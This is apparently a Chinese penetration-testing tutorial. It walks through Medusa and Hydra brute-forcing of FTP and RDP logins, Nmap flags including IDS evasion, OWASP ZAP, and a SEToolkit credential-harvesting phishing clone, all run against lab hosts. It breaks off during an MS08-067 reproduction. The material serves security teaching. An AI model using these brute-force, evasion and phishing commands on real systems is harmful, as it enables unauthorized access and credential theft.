Medusa旨在成为一个迅速,大规模并行,模块化,爆破登录。目标支持大部分允许远程登录的服务。以下是Medusa项目一些主要功能:

  • 基于线程的并行测试。可以同时对多个主机,用户或密码执行强力测试。
  • 灵活的用户输入目标信息(主机/用户/密码)可以通过多种方式指定。例如,每个项目可以是单个条目或包含多个条目的文件。此外,组合文件格式允许用户改进其目标列表。

  • 模块化设计。每个服务模块作为独立的.mod文件存在。这意味着,核心应用程序不需要进行任何修改,以便扩展支持的强制服务列表。

特点

稳定性好

速度控制得当

基于线程

支持模块少于hydra(不支持RDP)

WEB-Form 支持存在缺陷

用法

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

Medusa [-h 主机| -H 文件] [-u 用户名| -U 文件] [-p 密码| -P 文件] [-C 文件] -M 模块[OPT]

参数说明

-h  目标主机名或IP地址
-H  包含目标主机名或IP地址的文件
-u  要测试的用户名
-U  包含要测试的用户名的文件
-p  要测试的密码
-P  包含要测试的密码的文件
-C  包含组合条目的文件
-O  将日志信息附加到的文件
-e  其他密码检查(n无密码,s 密码=用户名)
-M  要执行的模块的名称(不带.mod扩展名)
-m  传递给模块的参数。这可以通过一个多次传递不同的参数,并且它们全部被发送到模块(即,-m Param1 -m Param2等)
-d  转储所有已知的模块
-n  用于非默认的TCP端口号
-s  启用SSL-g尝试连接NUM秒后放弃(默认3)
-r  在重试尝试之间休眠NUM秒(默认值3)
-R  尝试NUM在放弃之前重试。总尝试次数将是NUM + 1。
-c  在usec中等待以验证套接字的时间(缺省值为500 usec)。
-t  要同时测试的登录总数
-T  要同时测试的主机总数
-L  每个线程使用一个用户名并行登录。默认是处理整个用户名在继续之前。
-f  在找到第一个有效的用户名/密码后停止扫描主机。
-F  在任何主机上找到第一个有效的用户名/密码后停止审核。
-b  禁止启动横幅
-q  显示模块的使用信息
-v  详细等级[0 - 6(更多)]
-w  错误调试级别[0 - 10(更多)]
-V  显示版本
-Z  根据上次扫描的地图继续扫描

模块详情

/usr/lib/medusa/modules中的可用模块

+ cvs.mod:CVS会话的暴力模块:2.0版
+ ftp.mod:FTP / FTPS会话的暴力模块:版本2.1
+ http.mod:HTTP的蛮力模块:版本2.1
+ imap.mod:用于IMAP会话的暴力模块:版本2.0
+ mssql.mod:M $ -SQL会话的暴力模块:版本2.0
+ mysql.mod:MySQL会话的暴力模块:版本2.0
+ nntp.mod:NNTP会话的暴力模块:版本2.0
+ pcanywhere.mod:PcAnywhere会话的暴力模块:版本2.0
+ pop3.mod:用于POP3会话的暴力模块:版本2.0
+ postgres.mod:PostgreSQL会话的暴力模块:版本2.0
+ rdp.mod:RDP(微软终端服务器)会话的蛮力模块:版本0.1
+ rexec.mod:REXEC会话的蛮力模块:版本2.0
+ rlogin.mod:RLOGIN会话的暴力模块:版本2.0
+ rsh.mod:RSH会话的暴力模块:版本2.0
+ smbnt.mod:SMB(LM / NTLM / LMv2 / NTLMv2)会话的强力模块:版本2.1
+ smtp-vrfy.mod:用于验证SMTP帐户的蛮力模块(VRFY / EXPN / RCPT TO):2.1版
+ smtp.mod:用于TLS的SMTP身份验证的蛮力模块:版本2.0
+ snmp.mod:SNMP Community Strings的暴力模块:版本2.1
+ ssh.mod:用于SSH v2会话的强力模块:版本2.1
+ svn.mod:Subversion会话的蛮力模块:版本2.1
+ telnet.mod:用于telnet会话的暴力模块:版本2.0
+ vmauthd.mod:VMware认证守护进程的蛮力模块:版本2.0
+ vnc.mod:用于VNC会话的暴力模块:版本2.1
+ web-form.mod:用于Web表单的暴力模块:版本2.1
+ wrapper.mod:通用包装模块:版本2.0

暴力破解FTP服务器

暴力破解的核心就是字典,工具千千万,只要字典对。
为什么专业团队做渗透测试,可以很容易就找到漏洞,而你去怎么都找不到,就是因为我们没有合适的字典,无法获取别人的用户名密码,无法登录服务器无法做后续的一切。
#具体命令
┌──(root㉿kali)-[~]
└─# medusa -h 192.168.239.129 -U ftp.lst -P pswd.lst -M ftp -f 

-h:指定服务器地址
-U:指定用户名字典
-P:指定密码字典
-M:指定模块
-f:表示首次成功即停止
#扫描结果
┌──(root㉿kali)-[~]
└─# medusa -h 192.168.239.129 -U ftp.lst -P pswd.lst -M ftp -f 
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ftp] Host: 192.168.239.129 (1 of 1, 0 complete) User: admin (1 of 6, 0 complete) Password: admin@123 (1 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.239.129 (1 of 1, 0 complete) User: admin (1 of 6, 0 complete) Password: 123 (2 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.239.129 (1 of 1, 0 complete) User: admin (1 of 6, 0 complete) Password: 123456 (3 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.239.129 (1 of 1, 0 complete) User: admin (1 of 6, 0 complete) Password: abcdef (4 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.239.129 (1 of 1, 0 complete) User: user1 (2 of 6, 1 complete) Password: admin@123 (1 of 4 complete)
ACCOUNT FOUND: [ftp] Host: 192.168.239.129 User: user1 Password: admin@123 [SUCCESS]


#观察最后一行,提示发现账户,用户名为user1,密码为admin@123,状态信息为success
#将扫描结果,写入指定文件中
┌──(root㉿kali)-[~]
└─# medusa -h 192.168.239.129 -U ftp.lst -P pswd.lst -M ftp -f -O ftp.txt
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [ftp] Host: 192.168.239.129 (1 of 1, 0 complete) User: admin (1 of 6, 0 complete) Password: admin@123 (1 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.239.129 (1 of 1, 0 complete) User: admin (1 of 6, 0 complete) Password: 123 (2 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.239.129 (1 of 1, 0 complete) User: admin (1 of 6, 0 complete) Password: 123456 (3 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.239.129 (1 of 1, 0 complete) User: admin (1 of 6, 0 complete) Password: abcdef (4 of 4 complete)
ACCOUNT CHECK: [ftp] Host: 192.168.239.129 (1 of 1, 0 complete) User: user1 (2 of 6, 1 complete) Password: admin@123 (1 of 4 complete)
ACCOUNT FOUND: [ftp] Host: 192.168.239.129 User: user1 Password: admin@123 [SUCCESS]


┌──(root㉿kali)-[~]
└─# ls
公共  视频  文档  音乐  DDos-Attack  ftp.lst  pswd.lst
模板  图片  下载  桌面  Desktop      ftp.txt

┌──(root㉿kali)-[~]
└─# cat ftp.txt      
# Medusa v.2.2 (2022-06-30 22:13:50)
# medusa -h 192.168.239.129 -U ftp.lst -P pswd.lst -M ftp -f -O ftp.txt 
ACCOUNT FOUND: [ftp] Host: 192.168.239.129 User: user1 Password: admin@123 [SUCCESS]
# Medusa has finished (2022-06-30 22:13:50).

九头蛇(Hydra)的使用

简介

Hydra 是一个相当强大的暴力破解工具。该工具支持几乎所有协议的在线破解,如FTP、HTTPS、MS SQL、Oracle、Cisco、IMAP和VNC等。其能否被破解,关键在于字典是否足够强大。很多用户可能对Hydra比较熟悉,因为该工具有图形界面,且操作十分简单,基本上可以“傻瓜”操作。

特点

速度快

功能强大

稳定性差

用法:

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

参数说明

-R      修复之前使用的aborted/crashed session
-S      执行SSL(Secure Socket Layer)连接
-s      使用非默认服务器端口而是其他端口时,指定其端口
-l      已经获取登录ID的情况下输入登录ID
-L      未获取登录ID情况下指定用于暴力破解的文件(需要指出全路径)
-p      已经获取登录密码的情况下输入登录密码
-P      未获取登录密码的情况下指定用于暴力破解的文件(需要指出全路径)
-x      暴力破解时不指定文件,而生可以满足指定字符集和最短、最长长度条件的密码来尝试暴力破解
-C      用于指定由冒号区分形式的暴力破解专用文件,即ID:Password形式
-M      指定实施并列攻击的文件服务器的目录文件
-o      以STDOUT的形式输出结果值
-f      查找到第一个可以使用的ID和密码的时候停止破解
-t      指定并列连接数(默认值:16)
-w      指定每个线程的回应时间(Waittime)(默认值:32秒)
-4/6    指定IPv4/IPv6(默认值:IPv4)
-v/-V   显示详细信息
-U      查看服务器组件使用明细

支持的服务:

asterisk、 afp、 cisco、 cisco-enable、 cvs、 firebird、 ftp、 ftps、 http(s)-{head|get}、 http(s)-{get|post}-form、 http-proxy、 http-proxy-urlenum、 icq、 imap(s)、 irc ldap2(s)、 ldap3[-{cram|digest}md5](s)、 mssql、 mysql、 ncp、 nntp、 oracle-listener、 oracle-sid、 pcanywhere、 pcnfs、 pop3(s)、 postgres、 rdp、 rexec、 rlogin、 rsh s7-300、 sip、 smb、 smtp(s)、 smtp-enum、 snmp、 socks5、 ssh、 sshkey、 svn、 teamspeak、 telnet(s)、 vmauthd、 vnc、 xmpp

暴力破解FTP

#具体命令
┌──(root㉿kali)-[~]
└─# hydra -L ftp.lst -P pswd.lst ftp://192.168.239.129 -o lala.txt
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).


-L      不知道用户名通过字典爆破
-P      不知道密码通过字典爆破
ftp:    表示使用的是ftp协议
-o      将爆破结果存入文件中


#扫描结果
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-30 22:32:20
[DATA] max 16 tasks per 1 server, overall 16 tasks, 24 login tries (l:6/p:4), ~2 tries per task
[DATA] attacking ftp://192.168.239.129:21/
[21][ftp] host: 192.168.239.129   login: user1   password: admin@123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-30 22:32:24


#查看扫描结果文件
┌──(root㉿kali)-[~]
└─# ls                                                            
公共  视频  文档  音乐  DDos-Attack  ftp.lst  lala.txt
模板  图片  下载  桌面  Desktop      ftp.txt  pswd.lst

┌──(root㉿kali)-[~]
└─# cat lala.txt 
# Hydra v9.2 run at 2022-06-30 22:32:20 on 192.168.239.129 ftp (hydra -L ftp.lst -P pswd.lst -o lala.txt ftp://192.168.239.129)
[21][ftp] host: 192.168.239.129   login: user1   password: admin@123


#获取到爆破结果,用户名user1,密码为admin@123

暴力破解windos服务器密码

#具体命令
┌──(root㉿kali)-[~]
└─# hydra -L username.lst -P password.lst rdp://192.168.239.129 -v -t 1 -o haha.txt
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

rdp:    表示rdp服务,这是远程桌面服务,通过远程桌面连接操作系统的用户名密码就是服务器的用户名密码
-v       表示显示详细信息
-t       指定并列连接数

#这样写也是可以的
┌──(root㉿kali)-[~]
└─# hydra 192.168.239.129 rdp -L username.lst -P password.lst -v -t 1 -o haha.txt
#先指定ip再指定服务

#扫描结果
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-30 22:37:43
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 1 task per 1 server, overall 1 task, 12 login tries (l:4/p:3), ~12 tries per task
[DATA] attacking rdp://192.168.239.129:3389/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[3389][rdp] host: 192.168.239.129   login: administrator   password: Huawei@123
[ERROR] freerdp: The connection failed to establish.
[VERBOSE] Retrying connection for child 0
[3389][rdp] host: 192.168.239.129   login: Administrator   password: Huawei@123
[ERROR] freerdp: The connection failed to establish.
[VERBOSE] Retrying connection for child 0
[STATUS] attack finished for 192.168.239.129 (waiting for children to complete tests)
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-30 22:37:49

#查看记录文件
┌──(root㉿kali)-[~]
└─# ls
公共  视频  文档  音乐  DDos-Attack  ftp.lst  haha.txt  password.lst  username.lst
模板  图片  下载  桌面  Desktop      ftp.txt  lala.txt  pswd.lst

┌──(root㉿kali)-[~]
└─# cat haha.txt    
# Hydra v9.2 run at 2022-06-30 22:37:43 on 192.168.239.129 rdp (hydra -L username.lst -P password.lst -v -t 1 -o haha.txt rdp://192.168.239.129)
[3389][rdp] host: 192.168.239.129   login: administrator   password: Huawei@123
[3389][rdp] host: 192.168.239.129   login: Administrator   password: Huawei@123

图形化界面使用

#通过命令,打开图形化
┌──(root㉿kali)-[~]
└─# xhydra 

1656644830417

Single Target:代表目的ip地址(一般目标对象为一个时,使用)
TargetList:代表目的ip地址,批量爆破时使用
port:端口号
Protocol:协议类型(可以先用nmap扫描出开放了什么端口号,查看协议类型,然后对其进行指定爆破)
Output Options:一般只需要勾选 “Be Verbose”、“Show Attempts”即可

1656644940713

Username:用户名
Username List:用户名字典
Loop around users:勾选该项后会让所有用户名对应每一个密码
Protocal does not require usernames:协议不需要账号时候勾选
Password:用户密码
Passwordword List:用户密码字典

1656645060707

Number of Tasks:线程,设置越多处理速度越快(一般为10-50)
Use a HTTP/HTTPS Proxy:使用代理进行爆破

1656645152019

Start:开始爆破
Stop:停止爆破
Save Output:保存结果
Clear Output:清空结果
最后点击”Start“开始爆破,可以看到已经开始进行ftp的字典匹配连接了,如发现有加粗的行信息,代表为正确的用户名及密码,即暴力破解成功

如果需要将爆破结果导入文件中可以点击Save Output然后选择保存的路径

NMAP的使用

简介

Nmap是一款非常强大的主机发现和端口扫描工具,而且nmap运用自带的脚本,还能完成漏洞检测,同时支持多平台。

官网为:www.nmap.org

一般情况下,Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。

功能

  • 主机发现 (Host Discovery)
  • 端口扫描 (Port Scanning)
  • 版本侦测 (Version Detection)
  • 操作系统侦测 (Operating System Detection)

而这四项功能之间,又存在大致的依赖关系(通常情况下的顺序关系,但特殊应用另外考虑),首先需要进行主机发现,随后确定端口状态,然后确定端口上运行的具体应用程序和版本信息,然后可以进行操作系统的侦测。而在这四项功能的基础上,nmap还提供防火墙和 IDS 的规避技巧,可以综合运用到四个基本功能的各个阶段。另外nmap还提供强大的NSE(Nmap Scripting Language)脚本引擎功能,脚本可以对基本功能进行补充和扩展。

优点

  • 灵活。支持数十种不同的扫描方式,支持多种目标对象的扫描
  • 强大。Nmap可以用于扫描互联网上大规模的计算机
  • 可移植。支持主流操作系统:Windows/Linux/Unix/MacOS等等;源码开放,方便移植
  • 简单。提供默认的操作能覆盖大部分功能,基本端口扫描nmap targetip,全面的扫描nmap –A targetip
  • 自由。Nmap作为开源软件,在GPL License的范围内可以自由的使用
  • 文档丰富。Nmap官网提供了详细的文档描述。Nmap作者及其他安全专家编写了多部Nmap参考书籍
  • 社区支持。Nmap背后有强大的社区团队支持

命令

主机发现

iR              随机选择目标
-iL             从文件中加载IP地址
-sL             简单的扫描目标
-sn             禁用端口扫描
-Pn             将所有主机视为在在线,跳过主机发现
-PS[portlist]   (TCP SYN ping) 需要root权限
-PA[portlist]   (TCP ACK ping)
-PU[portlist]   (UDP  ping)
-PY [portlist]  (SCTP ping)
-PE/PP/PM       ICMP回显,时间戳和网络掩码请求探测
-PO[协议列表]     IP协议Ping
-n/-R           从不执行DNS解析/始终解析[默认:有时]
--dns-servers   指定自定义DNS服务器
--system-dns    使用OS的dns服务器
--traceroute    跟踪到每个主机的跃点路径

扫描技术

-sS                 使用TCP的SYN进行扫描
-sT                 使用TCP进行扫描
-sA                 使用TCP的ACK进行扫描
-sU                 UDP扫描
-sI                 Idle扫描
-sF                 FIN扫描
-b<FTP中继主机>      FTP反弹扫描

端口规格和扫描顺序

-p                  扫描指定端口
--exclude-ports     从扫描中排除指定端口
-f                  快速模式-扫描比默认扫描更少的端口
-r                  连续扫描端口-不随机化
--top-ports         扫描<number>最常用的端口

服务/版本探测

-sV                     探测服务/版本信息
--version-intensity     设置版本扫描强度(0-9)
--version-all           尝试每个强度探测
--version-trace         显示详细的版本扫描活动(用于调试)

脚本扫描

-SC                                     等效于 --script=defult
--script = <lua scripts>,<lua scripts>  以逗号分隔的目录,脚本文件或脚本类别
--script-args = <n1=v1, n2=v2>          为脚本提供参数
--script-args-file=文件名                从文件名中加载脚本参数
--script-trace                          显示发送和接受的所有数据
--script-updatedb                       更新脚本数据库
--script-help=<lua scripts>             显示有关脚本的帮助

操作系统检测

-o                  启用os检测
--osscan-limit      将os检测限制为可能的目标
--osscan-guess      推测操作系统检测结果

时间和性能

--host-timeout      设置超时时间
--scan-delay        设置探测之间的时间间隔
-T  <0-5>           设置时间模板,值越小,IDS报警几率越低

防火墙/IDS规避和欺骗

-f                      报文分段
-s                      欺骗源地址
-g                      使用指定的本机端口
--proxies <url,port>    使用HTTP/SOCK4代理
-data<hex string>       想发送的数据包中追加自定义的负载
--data-string           将自定义的ACSII字符串附加到发送数据包中   
--data-length           发送数据包时,附加随机数据
--spoof-mac             MAC地址欺骗
--badsum                发送带有虚假TCP/UNP/STCP校验和的数据包

输出

-oN                 标准输出
-oX                 XMl输出
-oS                 script jlddi3
-oG                 grepable
-oA                 同时输出三种主要格式
-v                  信息详细级别
-d                  调试级别
--packet-trace      跟踪发送和接收的报文
--reason            显示端口处于特殊状态的原因
--open              仅显示开放的端口

杂项

-6              启动Ipv6扫描
-A              启动Os检测,版本检测,脚本扫描和traceroute
-V              显示版本号
-h              帮助信息

常用命令

1. nmap -sT 192.168.239.129 //TCP连接扫描,不安全,慢

2. nmap -sS 192.168.239.129  //SYN扫描,使用最频繁,安全,快

3. nmap -Pn 192.168.239.129  //目标机禁用ping,绕过ping扫描

4. nmap -sU 192.168.239.129  //UDP扫描,慢,可得到有价值的服务器程序

5. nmap -sI 僵尸ip 目标ip  //使用僵尸机对目标机发送数据包

6. nmap -sA 192.168.239.129  //检测哪些端口被屏蔽

7. nmap 192.168.239.129 -p <portnumber>  //对指定端口扫描

8. nmap 192.168.239.129/24 //对整个网段的主机进行扫描

9. nmap 192.168.239.129 -oX myscan.xml //对扫描结果另存在myscan.xml

10. nmap -T1~6 192.168.239.129  //设置扫描速度,一般T4足够。

11. nmap -sV 192.168.239.129  //对端口上的服务程序版本进行扫描

12. nmap -O 192.168.239.129  //对目标主机的操作系统进行扫描

13. nmap -sC <scirptfile> 192.168.239.129  //使用脚本进行扫描,耗时长

14. nmap -A 192.168.239.129  //强力扫描,耗时长

15. nmap -6 ipv6地址   //对ipv6地址的主机进行扫描

16. nmap -f 192.168.239.129  //使用小数据包发送,避免被识别出

17. nmap –mtu <size> 192.168.239.129 //发送的包大小,最大传输单元必须是8的整数

18. nmap -D <假ip> 192.168.239.129 //发送参杂着假ip的数据包检测

19. nmap --source-port <portnumber> //针对防火墙只允许的源端口

20. nmap –data-length: <length> 192.168.239.129 //改变发生数据包的默认的长度,避免被识别出来是nmap发送的。

21. nmap -v 192.168.239.129 //显示冗余信息(扫描细节)

22. nmap -sn 192.168.239.129  //对目标进行ping检测,不进行端口扫描(会发送四种报文确定目标是否存活,)

23. nmap -sP 192.168.239.129  //仅仅对目标进行ping检测。

24. nmap -n/-p 192.168.239.129  //-n表示不进行dns解析,-p表示要

25. nmap --system-dns 192.168.239.129  //扫描指定系统的dns服务器

26. nmap –traceroute 192.168.239.129  //追踪每个路由节点。

27. nmap -PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。

28. nmap -sP 192.168.239.129      //主机存活性扫描,arp直连方式。

29. nmap -iR [number]       //对随机生成number个地址进行扫描。

OWASP ZAP的使用

简介

OWASP ZAP 攻击代理(ZAP)是世界上最受欢迎的免费安全审计工具之一,ZAP可以帮助我们在开发和测试应用程序过程中,自动发现 Web应用程序中的安全漏洞。

另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。

特点

免费的web application 扫描器

更加集成性,更加完整,功能更加完善,用途更加广泛,平台稳定性也更加好的web扫描器

现阶段ZAP的中文支持做得还不是很好,基本的操作界面以英文为主。

就插件而言,没有burpSuit工具丰富

安装

有Windows(64)安装程序、 Windows(32)安装程序、 Linux安装程序、 MacOS安装程序等。

下载地址

github地址:https://github.com/zaproxy/zaproxy/wiki/Downloads
OWASP ZAP 官方下载地址:https://www.zaproxy.org/download/

下载注意

Windows下载下来的是exe的,双击就可以了!Linux下载后是.sh/tar.gz,直接用命令安装即可

Windows和Linux版本需要运行Java 8或更高版本JDK,MacOS安装程序包括Java 8;如果还有其他的问题,可能是java下载的不对,或没成功安装java。总之一定要下载、安装Java JDK

安装zap

注意:在新版的kali中默认没有安装此工具,所以需要我们手动安装一下
┌──(root㉿kali)-[~]
└─# apt-get install -y zaproxy

使用zap

运行owasp-zap

┌──(root㉿kali)-[~]
└─# owasp-zap 

初步使用ZAP

进程保留:

初次打开ZAP时,会看到以下对话框,询问是否要保持ZAP进程。

保存进程则可以让你的操作得到保留,下次只要打开历史进程就可以取到之前扫描过的站点以及测试结果等。

一般来说,如果对固定的产品做定期扫描,应该保存一个进程做为长期使用,选第一或者第二个选项都可以。

如果只是想先简单尝试ZAP功能,可以选择第三个选项,那么当前进程暂时不会被保存。

1656654424835

设置代理

打开ZAP以后看到的是如下界面:

1656654495203

在开始使用他进行渗透测试之前,,首先需要将他设为我们的浏览器代理。

ZAP的默认地址和端口是标准的localhost:8080

1656654709542

1656654729352

如果端口可用,接下来我们只需要去修改浏览器代理,以火狐为例:

在设置-常规-连接设置里,选择手动代理,并将http代理设为与ZAP一致:

#打开浏览器
┌──(root?kali)-[~]
└─# firefox

1656654956939

1656654938498

1656654914123

完成这一设置以后,我们再用这个浏览器去访问站点时,都会通过ZAP这个中间人,于是这就给ZAP提供了抓包、分析、渗透测试的可能性。(BURP也是这样的,不过BURP只装了还没开始用)

快速测试:

ZAP右上方区域是快速测试窗口,可以开启非常傻瓜式的渗透测试:

1656655960103

1656655939001

输入网址,点击‘Attack(攻击)’,搞定,so easy。

在快速攻击过程中,ZAP做了以下几件事:
    使用爬虫抓取被测站点的所有页面
    在页面抓取的过程中被动扫描所有获得的页面
    抓取完毕后用主动扫描的方式分析页面,功能和参数

结果分析:

等待上述快速测试完成以后,我们就可以拿到ZAP提供的测试结果进行分析。

快速测试中,ZAP会产出以下一些产物:

被测站点地图及页面资源

所有请求、反馈记录

安全性风险项目列表

其中我们最关注的当然是安全性风险项,ZAP将做出以下标识:

由上到下分别为:高、中、低、信息、通过

在窗口最底部,切换到Alert界面,可以看到所有扫描出的安全性风险:

1656656355135

其中的所有风险项可以展开,ZAP在右侧窗口会对该风险项提供说明和解释,并且在右上部response区域高亮展示具体风险项由来(从反馈中分析得出的)。 1656656439238

如果只是简单的安全性测试需求,或者只是为了学习安全性测试知识,到这一步为止ZAP给出的风险项分析和报告,已经可以一定程度满足要求了。

通过主菜单Report选项,可以选择输出安全性测试报告。

1656656652195

1656656679204

1656656854876

1656656837460

1656656793779

主动爬取网站

之前介绍了使用ZAP做为浏览器代理,配置好代理的情况下,使用浏览器进行任何站点的访问都会经过ZAP,这时就会在ZAP的context记录里留下该站点记录

如果发现没有访问记录,可以直接使用ZAP来打开浏览器,然后在进行访问

1656657438989

右键点击需要测试的站点,选择Attack->Spider,弹出的选项窗口点击Start Scan,则会开始手动爬取网站。

16566575271191656657555061

扫描完毕后,同样可以切换到Alert界面,查看安全风险项,或者输出测试报告。

1656657705575

更新

1656658706575

1656658633164

Release:经过长期的测试使用,现在已经是正式发布的版本,很稳定。

Beta:不太成熟,但是已经推出来给大家使用,可能在使用过程中存在缺陷。

Alpha:比beta还要beta的版本,由于某种需求临时推出来的插件

SEtoolkit

简介

社会工程学(Social Engineering)简称社工,其通过分析攻击对象的心理弱点,利用人性的本能反应,以及任何好奇心,贪婪等心理特征进行的,使用诸如假冒,欺骗,引诱等多种手段来达成攻击目标的一种手段,社会工程学的应用领域非常之广泛,而很多黑客也会将社工运用到渗透的方方面面,社工也被称为没有技术,却比技术更强大的渗透方式,正所谓 “攻城为下,攻心为上” 这句话用在社工上面是最恰当不过的啦。

接下来将介绍一个工具,社会工程工具包(SEToolkit)工具,该工具由 David Kennedy (ReL1K)设计并开发,并且有一群活跃的社区合作进行维护工作(www.social-engineer.org),该工具包是开源的并使用Python作为开发语言,其主要目的是协助黑客更好的进行社工活动。

使用SEtoolkit

运行SEtoolkit

┌──(root㉿kali)-[~]
└─# setoolkit 

#注意:运行工具后会有一个类似用户须知的安全手册,需要我们输入yes表示同意
#运行SEtoolkit之后会有以下几个选项让我们进行选择
Select from the menu:
   1) Social-Engineering Attacks
   2) Penetration Testing (Fast-Track)
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

1选项是社会工程攻击模块
2选项是渗透测试模块,主要用于快速攻击(set主要用途是用于社会工程学的钓鱼攻击,钓鱼是需要耐心的,可能需要等待很久,相比之下,渗透测试更加迅速。)
3选项是第三方模块
4选项是更新升级set
5选项是更新set的设置
6选项主要是一些帮助菜单,说明等

选择第一个选项(Social-Engineering Attacks),又有十个选项

 Select from the menu:

   1) Spear-Phishing Attack Vectors #鱼叉式网络钓鱼攻击
   2) Website Attack Vectors        #网页攻击
   3) Infectious Media Generator    #传染媒介式(俗称木马)
   4) Create a Payload and Listener #建立payloaad和listener
   5) Mass Mailer Attack            #邮件群发攻击
   6) Arduino-Based Attack Vector   #Arduino基础攻击
   7) Wireless Access Point Attack Vector    #无线接入点攻击
   8) QRCode Generator Attack Vector         #二维码攻击
   9) Powershell Attack Vectors     #Powershell攻击
  10) Third Party Modules           #第三方模块

选择第二个选项(Website Attack Vectors),又有七个选项

   1) Java Applet Attack Method         #java applet攻击
   2) Metasploit Browser Exploit Method #Metasploit 浏览器漏洞攻击
   3) Credential Harvester Attack Method#钓鱼网站攻击
   4) Tabnabbing Attack Method          #标签钓鱼攻击
   5) Web Jacking Attack Method         #网站jacking攻击
   6) Multi-Attack Web Method           #多种网站攻击方式
   7) HTA Attack Method                 #HTA攻击

选择第三个选项(Credential Harvester Attack Method),又有三个选项

   1) Web Templates     #网站模版
   2) Site Cloner       #克隆网站
   3) Custom Import     #自己设计的网站

选择第二个选项(Site Cloner)

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.239.132]:      #这里可直接回车,表示使用本地地址作为钓鱼网站(我们冒充的地址),也可以手动指定
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:http://192.168.239.129/DVWA/login.php #输入克隆网站(真实的地址)

访问钓鱼网站

http://192.168.239.132/

1656663268068

#kali上出现如下信息
192.168.239.132 - - [01/Jul/2022 03:53:22] "POST /index.html HTTP/1.1" 302 -
192.168.239.132 - - [01/Jul/2022 04:13:56] "GET / HTTP/1.1" 200 -

输入用户名密码

1656663335052

#kali上出现如下信息
[*] WE GOT A HIT! Printing the output:
POSSIBLE USERNAME FIELD FOUND: username=admin       #用户名
POSSIBLE PASSWORD FIELD FOUND: password=password    #密码
POSSIBLE USERNAME FIELD FOUND: Login=Login
POSSIBLE USERNAME FIELD FOUND: user_token=d8afa32eb758398445a70365ee1f0bb8
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.


192.168.239.132 - - [01/Jul/2022 04:15:37] "POST /index.html HTTP/1.1" 302 -

web页面自动跳转到真实地址

1656663414804

此时作为不细心的用户会觉得是自己第一遍用户名密码输入错误,导致没有成功登录,然后再次输入密码

1656663485767

1656663499520

正常登录,根本就不会意识到帐号密码已经被窃取

ms08-067漏洞复现

简介

Windows Server服务RPC请求缓冲区溢出漏洞(MS08-067)。

漏洞类别:远程溢出
CVE-ID : 2008-4250

漏洞详情:

MicrosoftWindows是美国微软(Microsoft)公司发布的一系列操作系统。Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞。远程攻击者可以通过发送恶意的RPC请求触发这个溢出,导致完全入侵用户系统,以SYSTEM权限执行任意指令。对于Windows2000、XP和Server2003,无需认证便可以利用这个漏洞;对于WindowsVista和Server2008,可能需要进行认证。

复现

实验环境

一台windows xp sp3 英文版的主机,作为靶机
一台kali Linux作为攻击者

实验条件:两台机子可以相互ping通,并且靶机(无补丁)开启了445端口,防火墙是关闭的

XP系统的安装我就不多说了,和server 2008,kali安装是一样的,镜像我给你们了直接下一步就行了,输入许可证的那一步跳过就好。

不过装完系统之后需要关闭防火墙否则无法相互ping同,也就无法进行攻击了。因为是英文模式而且版本比较古老,所以下面是关闭防火墙的步骤大家可以作为参考

1656904848137

1656904817696

1656904756130

1656904787402

漏洞发现

#使用nmap脚本直接扫描漏洞
#nmap自带的脚本文件存放的默认路径为:/usr/share/nmap/scripts
┌──(root㉿kali)-[~]
└─# nmap -A --script=vuln 192.168.239.135    
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-03 23:25 EDT
Nmap scan report for 192.168.239.135
Host is up (0.0015s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 00:0C:29:7A:03:2D (VMware)
Device type: general purpose
Running: Microsoft Windows 2000|XP|2003
